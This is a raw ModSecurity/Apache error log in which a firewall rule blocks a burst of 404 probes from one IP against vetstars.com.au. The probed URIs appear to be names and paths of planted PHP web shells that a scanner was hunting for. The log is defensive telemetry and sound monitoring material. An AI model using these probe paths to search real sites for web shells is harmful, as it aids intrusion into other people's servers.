[Mon Apr 06 22:44:58.672842 2026] [:error] [pid 10280:tid 10305] [client 158.158.96.77:35134] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "adPG6l8QUJkf8g-BFfM3egAAAdY"]
[Mon Apr 06 22:44:59.154335 2026] [:error] [pid 38562:tid 38575] [client 158.158.96.77:35051] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "adPG66eD6Ohe6wzRuy607gAAAUo"]
[Mon Apr 06 22:44:59.645187 2026] [:error] [pid 35688:tid 35765] [client 158.158.96.77:27771] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "adPG6-Z85qg4jLsRpQz-mAAAAI8"]
[Mon Apr 06 22:45:00.139164 2026] [:error] [pid 1827:tid 1842] [client 158.158.96.77:35021] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "adPG7OVeb6S_DnjZ2xE4iQAAAg0"]
[Mon Apr 06 22:45:00.700844 2026] [:error] [pid 35687:tid 35736] [client 158.158.96.77:29818] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "adPG7J3LtDozV0i8BiuFEgAAAE0"]
[Mon Apr 06 22:45:01.183278 2026] [:error] [pid 35688:tid 35760] [client 158.158.96.77:29788] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mo.php"] [unique_id "adPG7eZ85qg4jLsRpQz-ogAAAIo"]
[Mon Apr 06 22:45:01.669419 2026] [:error] [pid 35688:tid 35750] [client 158.158.96.77:43186] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mo.php"] [unique_id "adPG7eZ85qg4jLsRpQz-pQAAAIA"]
[Mon Apr 06 22:45:02.169325 2026] [:error] [pid 9442:tid 9444] [client 158.158.96.77:31604] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mo.php"] [unique_id "adPG7kPsNnAJTnmz6sZCZQAAAQA"]
[Mon Apr 06 22:45:02.668401 2026] [:error] [pid 9442:tid 9454] [client 158.158.96.77:33331] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mo.php"] [unique_id "adPG7kPsNnAJTnmz6sZCaQAAAQo"]
[Mon Apr 06 22:45:03.148019 2026] [:error] [pid 35686:tid 35715] [client 158.158.96.77:27765] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "adPG78MKdea6oORd2fz1ngAAABM"]
[Mon Apr 06 22:45:03.625917 2026] [:error] [pid 1827:tid 1849] [client 158.158.96.77:35079] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "adPG7-Veb6S_DnjZ2xE4jgAAAhQ"]
[Mon Apr 06 22:45:04.107251 2026] [:error] [pid 9442:tid 9459] [client 158.158.96.77:46602] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "adPG8EPsNnAJTnmz6sZCcQAAAQ8"]
[Mon Apr 06 22:45:04.614287 2026] [:error] [pid 35688:tid 35767] [client 158.158.96.77:3795] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "adPG8OZ85qg4jLsRpQz-tAAAAJE"]
[Mon Apr 06 22:45:05.147251 2026] [:error] [pid 35687:tid 35735] [client 158.158.96.77:34620] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inde.php"] [unique_id "adPG8Z3LtDozV0i8BiuFFAAAAEw"]
[Mon Apr 06 22:45:05.785882 2026] [:error] [pid 35688:tid 35773] [client 158.158.96.77:29763] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inde.php"] [unique_id "adPG8eZ85qg4jLsRpQz-vAAAAJc"]
[Mon Apr 06 22:45:06.451996 2026] [:error] [pid 9442:tid 9458] [client 158.158.96.77:31591] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inde.php"] [unique_id "adPG8kPsNnAJTnmz6sZCeAAAAQ4"]
[Mon Apr 06 22:45:06.950841 2026] [:error] [pid 9442:tid 9454] [client 158.158.96.77:43157] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inde.php"] [unique_id "adPG8kPsNnAJTnmz6sZCfwAAAQo"]
[Mon Apr 06 22:45:07.430003 2026] [:error] [pid 35686:tid 35716] [client 158.158.96.77:33288] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adPG88MKdea6oORd2fz1qAAAABQ"]
[Mon Apr 06 22:45:07.998687 2026] [:error] [pid 35688:tid 35765] [client 158.158.96.77:35035] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adPG8-Z85qg4jLsRpQz-xAAAAI8"]
[Mon Apr 06 22:45:08.524926 2026] [:error] [pid 35686:tid 35714] [client 158.158.96.77:35016] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adPG9MMKdea6oORd2fz1qgAAABI"]
[Mon Apr 06 22:45:09.091641 2026] [:error] [pid 1827:tid 1841] [client 158.158.96.77:25966] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adPG9eVeb6S_DnjZ2xE4lwAAAgw"]
[Mon Apr 06 22:45:09.631079 2026] [:error] [pid 35688:tid 35765] [client 158.158.96.77:35126] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "adPG9eZ85qg4jLsRpQz-0QAAAI8"]
[Mon Apr 06 22:45:10.640800 2026] [:error] [pid 1827:tid 1837] [client 158.158.96.77:43152] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "adPG9uVeb6S_DnjZ2xE4mwAAAgg"]
[Mon Apr 06 22:45:11.136155 2026] [:error] [pid 35688:tid 35758] [client 158.158.96.77:34563] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "adPG9-Z85qg4jLsRpQz-1wAAAIg"]
[Mon Apr 06 22:45:11.944269 2026] [:error] [pid 38562:tid 38582] [client 158.158.96.77:33284] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "adPG96eD6Ohe6wzRuy609QAAAVE"]
[Mon Apr 06 22:45:12.605787 2026] [:error] [pid 10280:tid 10284] [client 158.158.96.77:33598] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "adPG-F8QUJkf8g-BFfM3iwAAAcE"]
[Mon Apr 06 22:45:13.212924 2026] [:error] [pid 35688:tid 35761] [client 158.158.96.77:25947] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "adPG-eZ85qg4jLsRpQz-2wAAAIs"]
[Mon Apr 06 22:45:13.810525 2026] [:error] [pid 9442:tid 9462] [client 158.158.96.77:43136] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "adPG-UPsNnAJTnmz6sZCkQAAARI"]
[Mon Apr 06 22:45:14.465793 2026] [:error] [pid 35688:tid 35756] [client 158.158.96.77:33289] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "adPG-uZ85qg4jLsRpQz-5wAAAIY"]
[Mon Apr 06 22:45:15.101675 2026] [:error] [pid 35688:tid 35755] [client 158.158.96.77:3190] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "adPG--Z85qg4jLsRpQz-7QAAAIU"]
[Mon Apr 06 22:45:15.935364 2026] [:error] [pid 1827:tid 1832] [client 158.158.96.77:29779] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "adPG--Veb6S_DnjZ2xE4qQAAAgM"]
[Mon Apr 06 22:45:16.421222 2026] [:error] [pid 9442:tid 9464] [client 158.158.96.77:35130] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "adPG_EPsNnAJTnmz6sZCmAAAARQ"]
[Mon Apr 06 22:46:04.367571 2026] [:error] [pid 35688:tid 35758] [client 158.158.96.77:29439] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/media.php"] [unique_id "adPHLOZ85qg4jLsRpQz_iQAAAIg"]
[Mon Apr 06 22:46:05.037793 2026] [:error] [pid 10280:tid 10293] [client 158.158.96.77:44273] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/media.php"] [unique_id "adPHLV8QUJkf8g-BFfM4BwAAAco"]
[Mon Apr 06 22:46:05.529868 2026] [:error] [pid 1827:tid 1844] [client 158.158.96.77:33629] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/media.php"] [unique_id "adPHLeVeb6S_DnjZ2xE45wAAAg8"]
[Mon Apr 06 22:46:06.428603 2026] [:error] [pid 9442:tid 9446] [client 158.158.96.77:31910] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/media.php"] [unique_id "adPHLkPsNnAJTnmz6sZDNAAAAQI"]
[Mon Apr 06 22:46:07.127038 2026] [:error] [pid 9442:tid 9467] [client 158.158.96.77:60150] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "adPHL0PsNnAJTnmz6sZDPAAAARc"]
[Mon Apr 06 22:46:07.748481 2026] [:error] [pid 38562:tid 38565] [client 158.158.96.77:65471] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "adPHL6eD6Ohe6wzRuy61VQAAAUA"]
[Mon Apr 06 22:46:08.751131 2026] [:error] [pid 38562:tid 38576] [client 158.158.96.77:44234] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "adPHMKeD6Ohe6wzRuy61WQAAAUs"]
[Mon Apr 06 22:46:09.330201 2026] [:error] [pid 10280:tid 10304] [client 158.158.96.77:3761] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "adPHMV8QUJkf8g-BFfM4EQAAAdU"]
[Mon Apr 06 22:46:09.914837 2026] [:error] [pid 35686:tid 35707] [client 158.158.96.77:65416] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admir.php"] [unique_id "adPHMcMKdea6oORd2fz12gAAAAs"]
[Mon Apr 06 22:46:10.460778 2026] [:error] [pid 35688:tid 35764] [client 158.158.96.77:3745] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admir.php"] [unique_id "adPHMuZ85qg4jLsRpQz_jgAAAI4"]
[Mon Apr 06 22:46:11.096281 2026] [:error] [pid 35687:tid 35739] [client 158.158.96.77:44237] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admir.php"] [unique_id "adPHM53LtDozV0i8BiuFUAAAAFA"]
[Mon Apr 06 22:46:11.582820 2026] [:error] [pid 10280:tid 10304] [client 158.158.96.77:3753] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admir.php"] [unique_id "adPHM18QUJkf8g-BFfM4GwAAAdU"]
[Mon Apr 06 22:46:12.077805 2026] [:error] [pid 35688:tid 35773] [client 158.158.96.77:3937] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "adPHNOZ85qg4jLsRpQz_lQAAAJc"]
[Mon Apr 06 22:46:12.815349 2026] [:error] [pid 9442:tid 9456] [client 158.158.96.77:30599] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "adPHNEPsNnAJTnmz6sZDVwAAAQw"]
[Mon Apr 06 22:46:13.477898 2026] [:error] [pid 35688:tid 35772] [client 158.158.96.77:34297] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "adPHNeZ85qg4jLsRpQz_ngAAAJY"]
[Mon Apr 06 22:46:14.335642 2026] [:error] [pid 10280:tid 10283] [client 158.158.96.77:26563] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "adPHNl8QUJkf8g-BFfM4HgAAAcA"]
[Mon Apr 06 22:46:15.033121 2026] [:error] [pid 9442:tid 9453] [client 158.158.96.77:26626] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "adPHN0PsNnAJTnmz6sZDXgAAAQk"]
[Mon Apr 06 22:46:16.223240 2026] [:error] [pid 35688:tid 35761] [client 158.158.96.77:34668] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "adPHOOZ85qg4jLsRpQz_oQAAAIs"]
[Mon Apr 06 22:46:16.823954 2026] [:error] [pid 10280:tid 10300] [client 158.158.96.77:31655] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "adPHOF8QUJkf8g-BFfM4IwAAAdE"]
[Mon Apr 06 22:46:17.583175 2026] [:error] [pid 35686:tid 35702] [client 158.158.96.77:26618] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "adPHOcMKdea6oORd2fz14QAAAAY"]
[Mon Apr 06 22:46:18.142124 2026] [:error] [pid 9442:tid 9454] [client 158.158.96.77:31635] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "adPHOkPsNnAJTnmz6sZDcgAAAQo"]
[Mon Apr 06 22:46:18.669702 2026] [:error] [pid 10280:tid 10304] [client 158.158.96.77:47230] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "adPHOl8QUJkf8g-BFfM4JgAAAdU"]
[Mon Apr 06 22:46:19.155723 2026] [:error] [pid 10280:tid 10306] [client 158.158.96.77:28753] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "adPHO18QUJkf8g-BFfM4KAAAAdc"]
[Mon Apr 06 22:46:19.734957 2026] [:error] [pid 10280:tid 10287] [client 158.158.96.77:26561] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "adPHO18QUJkf8g-BFfM4LAAAAcQ"]
